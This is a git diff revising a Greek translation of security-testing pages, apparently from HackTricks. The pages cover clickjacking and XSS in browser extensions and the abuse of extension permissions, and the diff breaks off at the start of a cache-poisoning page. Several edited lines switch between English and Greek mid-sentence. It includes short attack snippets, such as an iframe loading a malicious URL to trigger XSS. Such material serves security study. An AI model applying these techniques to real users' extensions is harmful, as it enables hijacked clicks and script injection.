b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -11,7 +11,7 @@ ../clickjacking.md {{#endref}} -Οι επεκτάσεις περιέχουν το αρχείο **`manifest.json`** και αυτό το αρχείο JSON έχει ένα πεδίο `web_accessible_resources`. Να τι λένε τα [έγγραφα του Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources) γι' αυτό: +Οι επεκτάσεις περιέχουν το αρχείο **`manifest.json`** και αυτό το αρχείο JSON έχει ένα πεδίο `web_accessible_resources`. Να τι λένε τα [έγγραφα του Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources): > Αυτοί οι πόροι θα είναι διαθέσιμοι σε μια ιστοσελίδα μέσω του URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, το οποίο μπορεί να παραχθεί με τη μέθοδο **`extension.getURL method`**. Οι πόροι που έχουν επιτραπεί παρέχονται με κατάλληλους CORS headers, έτσι ώστε να είναι διαθέσιμοι μέσω μηχανισμών όπως το XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) @@ -21,7 +21,7 @@ - Φορτώσουν επιπλέον πόρους - Αλληλεπιδρούν με τον περιηγητή σε κάποιο βαθμό -Ωστόσο, αυτή η δυνατότητα παρουσιάζει έναν κίνδυνο ασφάλειας. Αν ένας πόρος εντός των **`web_accessible_resources`** έχει οποιαδήποτε σημαντική λειτουργικότητα, ένας επιτιθέμενος θα μπορούσε ενδεχομένως να ενσωματώσει αυτόν τον πόρο σε μια εξωτερική ιστοσελίδα. Οι ανυποψίαστοι χρήστες που επισκέπτονται αυτή τη σελίδα μπορεί να ενεργοποιήσουν ακούσια αυτόν τον ενσωματωμένο πόρο. Μια τέτοια ενεργοποίηση θα μπορούσε να οδηγήσει σε απρόβλεπτες συνέπειες, ανάλογα με τις άδειες και τις δυνατότητες των πόρων της επέκτασης. +Ωστόσο, αυτή η δυνατότητα παρουσιάζει έναν κίνδυνο ασφάλειας. Αν ένας πόρος εντός των **`web_accessible_resources`** έχει οποιαδήποτε σημαντική λειτουργικότητα, ένας επιτιθέμενος θα μπορούσε δυνητικά να ενσωματώσει αυτόν τον πόρο σε μια εξωτερική ιστοσελίδα. Οι ανυποψίαστοι χρήστες που επισκέπτονται αυτή τη σελίδα μπορεί να ενεργοποιήσουν ακούσια αυτόν τον ενσωματωμένο πόρο. Αυτή η ενεργοποίηση θα μπορούσε να οδηγήσει σε απρόβλεπτες συνέπειες, ανάλογα με τις άδειες και τις δυνατότητες των πόρων της επέκτασης. ## PrivacyBadger Example @@ -75,15 +75,15 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html"> ``` ## Metamask Example -Ένα [**blog post σχετικά με ένα ClickJacking στο metamask μπορεί να βρεθεί εδώ**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Σε αυτή την περίπτωση, το Metamask διόρθωσε την ευπάθεια ελέγχοντας ότι το πρωτόκολλο που χρησιμοποιήθηκε για την πρόσβαση ήταν **`https:`** ή **`http:`** (όχι **`chrome:`** για παράδειγμα): +A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask διόρθωσε την ευπάθεια ελέγχοντας ότι το πρωτόκολλο που χρησιμοποιήθηκε για την πρόσβαση ήταν **`https:`** ή **`http:`** (όχι **`chrome:`** για παράδειγμα):
-**Ένα άλλο ClickJacking που διορθώθηκε** στην επέκταση Metamask ήταν ότι οι χρήστες μπορούσαν να **Κάνουν κλικ για να προσθέσουν στη λίστα επιτρεπόμενων** όταν μια σελίδα ήταν ύποπτη για phishing λόγω του `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Καθώς αυτή η σελίδα ήταν ευάλωτη σε Clickjacking, ένας επιτιθέμενος θα μπορούσε να την εκμεταλλευτεί δείχνοντας κάτι φυσιολογικό για να κάνει το θύμα να κάνει κλικ για να την προσθέσει στη λίστα επιτρεπόμενων χωρίς να το προσέξει, και στη συνέχεια να επιστρέψει στη σελίδα phishing που θα έχει προστεθεί στη λίστα επιτρεπόμενων. +**Μια άλλη ClickJacking διόρθωση** στην επέκταση Metamask ήταν ότι οι χρήστες μπορούσαν να **Click to whitelist** όταν μια σελίδα ήταν ύποπτη για phishing λόγω του `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Καθώς αυτή η σελίδα ήταν ευάλωτη σε Clickjacking, ένας επιτιθέμενος θα μπορούσε να την εκμεταλλευτεί δείχνοντας κάτι φυσιολογικό για να κάνει το θύμα να κλικάρει για να την προσθέσει στη whitelist χωρίς να το προσέξει, και στη συνέχεια να επιστρέψει στη σελίδα phishing που θα έχει προστεθεί στη whitelist. ## Steam Inventory Helper Example -Ελέγξτε την παρακάτω σελίδα για να δείτε πώς ένα **XSS** σε μια επέκταση προγράμματος περιήγησης συνδυάστηκε με μια ευπάθεια **ClickJacking**: +Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability: {{#ref}} browext-xss-example.md diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index e79c314a7..4a986ca26 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -6,9 +6,9 @@ ### **`permissions`** -Οι άδειες ορίζονται στο αρχείο **`manifest.json`** της επέκτασης χρησιμοποιώντας την ιδιότητα **`permissions`** και επιτρέπουν την πρόσβαση σχεδόν σε οτιδήποτε μπορεί να προσπελάσει ένας περιηγητής (Cookies ή Φυσική Αποθήκευση): +Οι άδειες ορίζονται στο αρχείο **`manifest.json`** της επέκτασης χρησιμοποιώντας την ιδιότητα **`permissions`** και επιτρέπουν πρόσβαση σχεδόν σε οτιδήποτε μπορεί να προσπελάσει ένας περιηγητής (Cookies ή Φυσική Αποθήκευση): -Το προηγούμενο μανιφέστο δηλώνει ότι η επέκταση απαιτεί την άδεια `storage`. Αυτό σημαίνει ότι μπορεί να χρησιμοποιήσει [το API αποθήκευσης](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) για να αποθηκεύσει τα δεδομένα της μόνιμα. Σε αντίθεση με τα cookies ή τα APIs `localStorage` που δίνουν στους χρήστες κάποιο επίπεδο ελέγχου, **η αποθήκευση της επέκτασης μπορεί κανονικά να διαγραφεί μόνο με την απεγκατάσταση της επέκτασης**. +Το προηγούμενο μανιφέστο δηλώνει ότι η επέκταση απαιτεί την άδεια `storage`. Αυτό σημαίνει ότι μπορεί να χρησιμοποιήσει [το storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) για να αποθηκεύσει τα δεδομένα της μόνιμα. Σε αντίθεση με τα cookies ή τα APIs `localStorage` που δίνουν στους χρήστες κάποιο επίπεδο ελέγχου, **η αποθήκευση της επέκτασης μπορεί κανονικά να διαγραφεί μόνο με την απεγκατάσταση της επέκτασης**. Μια επέκταση θα ζητήσει τις άδειες που υποδεικνύονται στο αρχείο **`manifest.json`** της και μετά την εγκατάσταση της επέκτασης, μπορείτε **πάντα να ελέγξετε τις άδειες της στον περιηγητή σας**, όπως φαίνεται σε αυτή την εικόνα: @@ -46,62 +46,62 @@ Επιπλέον, **`host_permissions`** ξεκλειδώνει επίσης τη “προχωρημένη” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **λειτουργικότητα.** Επιτρέπουν στην επέκταση να καλεί [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) και όχι μόνο να επιστρέφει μια **λίστα με τις καρτέλες του χρήστη** αλλά και να μαθαίνει ποια **ιστοσελίδα (δηλαδή διεύθυνση και τίτλο) είναι φορτωμένη**. > [!CAUTION] -> Όχι μόνο αυτό, οι ακροατές όπως [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **γίνονται πολύ πιο χρήσιμοι επίσης**. Αυτοί θα ειδοποιούνται όποτε φορτώνει μια νέα σελίδα σε μια καρτέλα. +> Όχι μόνο αυτό, οι listeners όπως [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **γίνονται επίσης πολύ πιο χρήσιμοι**. Αυτοί θα ειδοποιούνται όποτε φορτώνεται μια νέα σελίδα σε μια καρτέλα. ### Εκτέλεση περιεχομένου scripts -Τα scripts περιεχομένου δεν είναι απαραίτητο να είναι γραμμένα στατικά στο μανιφέστο της επέκτασης. Δεδομένων επαρκών **`host_permissions`**, **οι επεκτάσεις μπορούν επίσης να τα φορτώνουν δυναμικά καλώντας** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ή** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). +Τα περιεχόμενα scripts δεν είναι απαραίτητο να είναι γραμμένα στατικά στο μανιφέστο της επέκτασης. Δεδομένων επαρκών **`host_permissions`**, **οι επεκτάσεις μπορούν επίσης να τα φορτώνουν δυναμικά καλώντας** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ή** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). -Και οι δύο APIs επιτρέπουν την εκτέλεση όχι μόνο αρχείων που περιέχονται στις επεκτάσεις ως scripts περιεχομένου αλλά και **τυχαίου κώδικα**. Ο πρώτος επιτρέπει την παράδοση κώδικα JavaScript ως συμβολοσειρά, ενώ ο δεύτερος αναμένει μια συνάρτηση JavaScript που είναι λιγότερο επιρρεπής σε ευπάθειες εισαγωγής. Ωστόσο, και οι δύο APIs θα προκαλέσουν χάος αν χρησιμοποιηθούν λανθασμένα. +Και οι δύο APIs επιτρέπουν την εκτέλεση όχι μόνο αρχείων που περιέχονται στις επεκτάσεις ως περιεχόμενο scripts αλλά και **τυχαίου κώδικα**. Ο πρώτος επιτρέπει την παράδοση κώδικα JavaScript ως συμβολοσειρά, ενώ ο δεύτερος αναμένει μια συνάρτηση JavaScript που είναι λιγότερο επιρρεπής σε ευπάθειες εισαγωγής. Ωστόσο, και οι δύο APIs θα προκαλέσουν χάος αν χρησιμοποιηθούν λανθασμένα. > [!CAUTION] -> Εκτός από τις παραπάνω δυνατότητες, τα scripts περιεχομένου θα μπορούσαν για παράδειγμα να **παρακολουθούν διαπιστευτήρια** καθώς εισάγονται σε ιστοσελίδες. Ένας άλλος κλασικός τρόπος κατάχρησης τους είναι **η εισαγωγή διαφημίσεων** σε κάθε ιστοσελίδα. Είναι επίσης δυνατή η προσθήκη **μηνυμάτων απάτης** για να καταχραστούν την αξιοπιστία των ιστοσελίδων ειδήσεων. Τέλος, θα μπορούσαν να **χειραγωγήσουν ιστοσελίδες τραπεζών** για να ανακατευθύνουν μεταφορές χρημάτων. +> Εκτός από τις παραπάνω δυνατότητες, τα περιεχόμενα scripts θα μπορούσαν για παράδειγμα να **παρακολουθούν διαπιστευτήρια** καθώς εισάγονται σε ιστοσελίδες. Ένας άλλος κλασικός τρόπος κατάχρησης τους είναι **η εισαγωγή διαφημίσεων** σε κάθε ιστοσελίδα. Είναι επίσης δυνατή η προσθήκη **μηνυμάτων απάτης** για να καταχραστούν την αξιοπιστία των ιστοσελίδων ειδήσεων. Τέλος, θα μπορούσαν να **χειραγωγήσουν ιστοσελίδες τραπεζών** για να ανακατευθύνουν μεταφορές χρημάτων. ### Έμμεσες προνόμια -Ορισμένα προνόμια επεκτάσεων **δεν χρειάζεται να δηλωθούν ρητά**. Ένα παράδειγμα είναι το [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): η βασική του λειτουργικότητα είναι προσβάσιμη χωρίς κανένα προνόμιο. Οποιαδήποτε επέκταση μπορεί να ειδοποιηθεί όταν ανοίγεις και κλείνεις καρτέλες, απλώς δεν θα γνωρίζει ποια ιστοσελίδα αντιστοιχεί σε αυτές τις καρτέλες. +Ορισμένα προνόμια επεκτάσεων **δεν χρειάζεται να δηλωθούν ρητά**. Ένα παράδειγμα είναι το [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): η βασική του λειτουργικότητα είναι προσβάσιμη χωρίς κανένα προνόμιο. Οποιαδήποτε επέκταση μπορεί να ειδοποιηθεί όταν ανοίγετε και κλείνετε καρτέλες, απλώς δεν θα γνωρίζει ποια ιστοσελίδα αντιστοιχεί σε αυτές τις καρτέλες. Ακούγεται πολύ αθώο; Το [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) είναι κάπως λιγότερο. Μπορεί να χρησιμοποιηθεί για **δημιουργία νέας καρτέλας**, ουσιαστικά το ίδιο με το [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) που μπορεί να κληθεί από οποιαδήποτε ιστοσελίδα. Ωστόσο, ενώ το `window.open()` υπόκειται στον **φραγμό αναδυόμενων παραθύρων, το `tabs.create()` δεν υπόκειται**. > [!CAUTION] > Μια επέκταση μπορεί να δημιουργήσει οποιονδήποτε αριθμό καρτελών όποτε θέλει. -Αν κοιτάξεις τις πιθανές παραμέτρους του `tabs.create()`, θα παρατηρήσεις επίσης ότι οι δυνατότητές του ξεπερνούν κατά πολύ όσα επιτρέπεται να ελέγχει το `window.open()`. Και ενώ ο Firefox δεν επιτρέπει τη χρήση `data:` URIs με αυτό το API, ο Chrome δεν έχει τέτοια προστασία. **Η χρήση τέτοιων URIs σε ανώτατο επίπεδο έχει** [**απαγορευτεί λόγω κατάχρησης για phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** +Αν κοιτάξετε τις πιθανές παραμέτρους του `tabs.create()`, θα παρατηρήσετε επίσης ότι οι δυνατότητές του ξεπερνούν κατά πολύ όσα επιτρέπεται να ελέγχει το `window.open()`. Και ενώ ο Firefox δεν επιτρέπει τη χρήση `data:` URIs με αυτό το API, το Chrome δεν έχει τέτοια προστασία. **Η χρήση τέτοιων URIs σε ανώτατο επίπεδο έχει** [**απαγορευτεί λόγω κατάχρησης για phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** -[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) είναι πολύ παρόμοιο με το `tabs.create()` αλλά θα **τροποποιήσει μια υπάρχουσα καρτέλα**. Έτσι, μια κακόβουλη επέκταση μπορεί για παράδειγμα να φορτώσει τυχαία μια διαφημιστική σελίδα σε μία από τις καρτέλες σου, και μπορεί επίσης να ενεργοποιήσει την αντίστοιχη καρτέλα. +[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) είναι πολύ παρόμοιο με το `tabs.create()` αλλά θα **τροποποιήσει μια υπάρχουσα καρτέλα**. Έτσι, μια κακόβουλη επέκταση μπορεί για παράδειγμα να φορτώσει τυχαία μια διαφημιστική σελίδα σε μία από τις καρτέλες σας, και μπορεί επίσης να ενεργοποιήσει την αντίστοιχη καρτέλα. -### Webcam, γεωγραφική τοποθεσία και φίλοι +### Webcam, γεωεντοπισμός και φίλοι -Πιθανώς γνωρίζεις ότι οι ιστοσελίδες μπορούν να ζητούν ειδικά προνόμια, π.χ. προκειμένου να έχουν πρόσβαση στην κάμερα σου (εργαλεία βιντεοδιάσκεψης) ή γεωγραφική τοποθεσία (χάρτες). Είναι δυνατότητες με σημαντικό δυναμικό κατάχρησης, οπότε οι χρήστες κάθε φορά πρέπει να επιβεβαιώνουν ότι θέλουν ακόμα αυτό. +Πιθανώς γνωρίζετε ότι οι ιστοσελίδες μπορούν να ζητούν ειδικά προνόμια, π.χ. προκειμένου να αποκτήσουν πρόσβαση στην κάμερα σας (εργαλεία βιντεοδιάσκεψης) ή γεωγραφική τοποθεσία (χάρτες). Είναι δυνατότητες με σημαντικό δυναμικό κατάχρησης, οπότε οι χρήστες κάθε φορά πρέπει να επιβεβαιώνουν ότι εξακολουθούν να θέλουν αυτό. > [!CAUTION] -> Όχι έτσι με τις επεκτάσεις προγράμματος περιήγησης. **Αν μια επέκταση προγράμματος περιήγησης** [**θέλει πρόσβαση στην κάμερα ή το μικρόφωνό σου**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, χρειάζεται να ζητήσει άδεια μόνο μία φορά** +> Όχι έτσι με τις επεκτάσεις προγράμματος περιήγησης. **Αν μια επέκταση προγράμματος περιήγησης** [**θέλει πρόσβαση στην κάμερα ή το μικρόφωνό σας**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, χρειάζεται να ζητήσει άδεια μόνο μία φορά** -Συνήθως, μια επέκταση θα το κάνει αυτό αμέσως μετά την εγκατάσταση. Μόλις αυτή η προτροπή γίνει αποδεκτή, **η πρόσβαση στην κάμερα είναι δυνατή οποιαδήποτε στιγμή**, ακόμα και αν ο χρήστης δεν αλληλεπιδρά με την επέκταση σε αυτό το σημείο. Ναι, ένας χρήστης θα αποδεχτεί αυτή την προτροπή μόνο αν η επέκταση χρειάζεται πραγματικά πρόσβαση στην κάμερα. Αλλά μετά από αυτό, πρέπει να εμπιστεύονται την επέκταση να μην καταγράφει τίποτα μυστικά. +Συνήθως, μια επέκταση θα το κάνει αυτό αμέσως μετά την εγκατάσταση. Μόλις γίνει αποδεκτή αυτή η προτροπή, **η πρόσβαση στην κάμερα είναι δυνατή ανά πάσα στιγμή**, ακόμη και αν ο χρήστης δεν αλληλεπιδρά με την επέκταση σε αυτό το σημείο. Ναι, ένας χρήστης θα αποδεχτεί αυτή την προτροπή μόνο αν η επέκταση χρειάζεται πραγματικά πρόσβαση στην κάμερα. Αλλά μετά από αυτό, πρέπει να εμπιστευτούν την επέκταση να μην καταγράψει τίποτα μυστικά. -Με πρόσβαση στην [ακριβή γεωγραφική τοποθεσία σου](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ή [περιεχόμενα του clipboard σου](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), η ρητή χορήγηση άδειας είναι εντελώς περιττή. **Μια επέκταση απλώς προσθέτει `geolocation` ή `clipboard` στην** [**είσοδο permissions**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **του μανιφέστ της.** Αυτά τα προνόμια πρόσβασης χορηγούνται έμμεσα όταν εγκαθίσταται η επέκταση. Έτσι, μια κακόβουλη ή παραβιασμένη επέκταση με αυτά τα προνόμια μπορεί να δημιουργήσει το προφίλ κίνησής σου ή να παρακολουθεί το clipboard σου για κωδικούς πρόσβασης χωρίς να το παρατηρήσεις. +Με πρόσβαση στην [ακριβή γεωγραφική σας τοποθεσία](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ή [περιεχόμενα του clipboard σας](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), η ρητή χορήγηση άδειας είναι εντελώς περιττή. **Μια επέκταση απλώς προσθέτει `geolocation` ή `clipboard` στην** [**είσοδο permissions**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **του μανιφέστου της.** Αυτά τα δικαιώματα πρόσβασης χορηγούνται έμμεσα όταν εγκαθίσταται η επέκταση. Έτσι, μια κακόβουλη ή παραβιασμένη επέκταση με αυτά τα προνόμια μπορεί να δημιουργήσει το προφίλ κίνησής σας ή να παρακολουθεί το clipboard σας για κωδικούς πρόσβασης χωρίς να το παρατηρήσετε. -Η προσθήκη της λέξης-κλειδί **`history`** στην [είσοδο permissions](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) του μανιφέστ της επέκτασης χορηγεί **πρόσβαση στο** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Επιτρέπει την ανάκτηση ολόκληρης της ιστορικότητας περιήγησης του χρήστη ταυτόχρονα, χωρίς να περιμένει ο χρήστης να επισκεφθεί ξανά αυτές τις ιστοσελίδες. +Η προσθήκη της λέξης-κλειδί **`history`** στην [είσοδο permissions](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) του μανιφέστου της επέκτασης χορηγεί **πρόσβαση στο** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Επιτρέπει την ανάκτηση ολόκληρης της ιστορικότητας περιήγησης του χρήστη ταυτόχρονα, χωρίς να περιμένει ο χρήστης να επισκεφθεί ξανά αυτές τις ιστοσελίδες. Η **άδεια `bookmarks`** έχει παρόμοιο δυναμικό κατάχρησης, αυτή επιτρέπει **την ανάγνωση όλων των σελιδοδεικτών μέσω του** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). ### Άδεια αποθήκευσης -Η αποθήκευση της επέκτασης είναι απλώς μια συλλογή κλειδιού-τιμής, πολύ παρόμοια με το [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) που θα μπορούσε να χρησιμοποιήσει οποιαδήποτε ιστοσελίδα. Έτσι, καμία ευαίσθητη πληροφορία δεν θα πρέπει να αποθηκεύεται εδώ. +Η αποθήκευση της επέκτασης είναι απλώς μια συλλογή κλειδιών-τιμών, πολύ παρόμοια με το [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) που θα μπορούσε να χρησιμοποιήσει οποιαδήποτε ιστοσελίδα. Έτσι, καμία ευαίσθητη πληροφορία δεν θα πρέπει να αποθηκεύεται εδώ. Ωστόσο, οι διαφημιστικές εταιρείες θα μπορούσαν επίσης να καταχραστούν αυτή την αποθήκευση. ### Περισσότερες άδειες -Μπορείς να βρεις τη [**συμπληρωματική λίστα αδειών που μπορεί να ζητήσει μια επέκταση Chromium Browser εδώ**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) και μια [**συμπληρωματική λίστα για τις επεκτάσεις Firefox εδώ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +Μπορείτε να βρείτε τη [**συμπληρωματική λίστα αδειών που μπορεί να ζητήσει μια επέκταση Chromium Browser εδώ**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) και μια [**συμπληρωματική λίστα για τις επεκτάσεις Firefox εδώ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** ## Πρόληψη Η πολιτική των προγραμματιστών της Google απαγορεύει ρητά στις επεκτάσεις να ζητούν περισσότερα προνόμια από όσα είναι απαραίτητα για τη λειτουργικότητά τους, μειώνοντας αποτελεσματικά τις υπερβολικές αιτήσεις αδειών. Ένα παράδειγμα όπου μια επέκταση προγράμματος περιήγησης υπερέβη αυτό το όριο περιλάμβανε τη διανομή της με τον ίδιο τον περιηγητή αντί μέσω ενός καταστήματος προσθέτων. -Οι περιηγητές θα μπορούσαν περαιτέρω να περιορίσουν την κακή χρήση των προνομίων επεκτάσεων. Για παράδειγμα, τα [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) και [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs του Chrome, που χρησιμοποιούνται για την καταγραφή οθόνης, έχουν σχεδιαστεί για να ελαχιστοποιούν την κατάχρηση. Το API tabCapture μπορεί να ενεργοποιηθεί μόνο μέσω άμεσης αλληλεπίδρασης του χρήστη, όπως το κλικ στο εικονίδιο της επέκτασης, ενώ το desktopCapture απαιτεί επιβεβαίωση του χρήστη για το παράθυρο που θα καταγραφεί, αποτρέποντας κρυφές δραστηριότητες καταγραφής. +Οι περιηγητές θα μπορούσαν περαιτέρω να περιορίσουν την κακή χρήση των προνομίων των επεκτάσεων. Για παράδειγμα, τα [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) και [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs του Chrome, που χρησιμοποιούνται για την καταγραφή οθόνης, έχουν σχεδιαστεί για να ελαχιστοποιούν την κατάχρηση. Το API tabCapture μπορεί να ενεργοποιηθεί μόνο μέσω άμεσης αλληλεπίδρασης του χρήστη, όπως το κλικ στο εικονίδιο της επέκτασης, ενώ το desktopCapture απαιτεί επιβεβαίωση του χρήστη για το παράθυρο που θα καταγραφεί, αποτρέποντας κρυφές δραστηριότητες καταγραφής. -Ωστόσο, η αυστηροποίηση των μέτρων ασφαλείας συχνά έχει ως αποτέλεσμα τη μείωση της ευελιξίας και της φιλικότητας προς τον χρήστη των επεκτάσεων. Η [άδεια activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) απεικονίζει αυτή την ανταλλαγή. Εισήχθη για να εξαλείψει την ανάγκη για επεκτάσεις να ζητούν προνόμια host σε ολόκληρο το διαδίκτυο, επιτρέποντας στις επεκτάσεις να έχουν πρόσβαση μόνο στην τρέχουσα καρτέλα κατόπιν ρητής ενεργοποίησης από τον χρήστη. Αυτό το μοντέλο είναι αποτελεσματικό για επεκτάσεις που απαιτούν ενέργειες που ξεκινούν από τον χρήστη, αλλά αποτυγχάνει για εκείνες που απαιτούν αυτόματες ή προληπτικές ενέργειες, υπονομεύοντας έτσι την ευκολία και την άμεση ανταπόκριση. +Ωστόσο, η αυστηροποίηση των μέτρων ασφαλείας συχνά έχει ως αποτέλεσμα τη μείωση της ευελιξίας και της φιλικότητας προς τον χρήστη των επεκτάσεων. Η [άδεια activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) απεικονίζει αυτή την ανταλλαγή. Εισήχθη για να εξαλείψει την ανάγκη για τις επεκτάσεις να ζητούν δικαιώματα host σε ολόκληρο το διαδίκτυο, επιτρέποντας στις επεκτάσεις να έχουν πρόσβαση μόνο στην τρέχουσα καρτέλα κατόπιν ρητής ενεργοποίησης από τον χρήστη. Αυτό το μοντέλο είναι αποτελεσματικό για επεκτάσεις που απαιτούν ενέργειες που ξεκινούν ο χρήστης αλλά αποτυγχάνει για εκείνες που απαιτούν αυτόματες ή προληπτικές ενέργειες, υπονομεύοντας έτσι την ευκολία και την άμεση ανταπόκριση. ## **Αναφορές** diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 5fd5a10a8..a536d659e 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -46,7 +46,7 @@ document.querySelector("iframe").src = maliciousURL ``` επιτρέπει την εκτέλεση JavaScript, καθιστώντας το σύστημα ευάλωτο σε επιθέσεις XSS. -Μια εναλλακτική προσέγγιση για να προκληθεί το XSS περιλαμβάνει τη δημιουργία ενός στοιχείου Iframe και την ρύθμιση της πηγής του ώστε να περιλαμβάνει το επιβλαβές σενάριο ως την παράμετρο `content`: +Μια εναλλακτική προσέγγιση για να προκληθεί το XSS περιλαμβάνει τη δημιουργία ενός στοιχείου Iframe και την ρύθμιση της πηγής του ώστε να περιλαμβάνει το επιβλαβές σενάριο ως παράμετρο `content`: ```javascript let newFrame = document.createElement("iframe") newFrame.src = @@ -78,7 +78,7 @@ $("section.bookmark-container .existing-items").append(bookmarkItem) persistData() }) ``` -Αυτό το απόσπασμα ανακτά την **τιμή** από το **`txtName`** πεδίο εισόδου και χρησιμοποιεί **συγκέντρωση συμβολοσειρών για να δημιουργήσει HTML**, το οποίο στη συνέχεια προστίθεται στο DOM χρησιμοποιώντας τη συνάρτηση `.append()` της jQuery. +Αυτό το απόσπασμα ανακτά την **τιμή** από το πεδίο εισόδου **`txtName`** και χρησιμοποιεί **συγκέντρωση συμβολοσειρών για να δημιουργήσει HTML**, το οποίο στη συνέχεια προσαρτάται στο DOM χρησιμοποιώντας τη συνάρτηση `.append()` της jQuery. Συνήθως, η Πολιτική Ασφαλείας Περιεχομένου (CSP) της επέκτασης Chrome θα εμπόδιζε τέτοιες ευπάθειες. Ωστόσο, λόγω της **χαλάρωσης CSP με ‘unsafe-eval’** και της χρήσης μεθόδων χειρισμού DOM της jQuery (οι οποίες χρησιμοποιούν [`globalEval()`](https://api.jquery.com/jquery.globaleval/) για να περάσουν σενάρια στο [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) κατά την εισαγωγή στο DOM), η εκμετάλλευση είναι ακόμα δυνατή. diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index f52b33125..3fbf508b7 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -13,11 +13,11 @@ Η δηλητηρίαση της μνήμης cache στοχεύει στη χειραγώγηση της μνήμης cache πλευράς πελάτη για να αναγκάσει τους πελάτες να φορτώσουν πόρους που είναι απροσδόκητοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Η έκταση της επίδρασης εξαρτάται από τη δημοτικότητα της επηρεαζόμενης σελίδας, καθώς η μολυσμένη απάντηση σερβίρεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο της 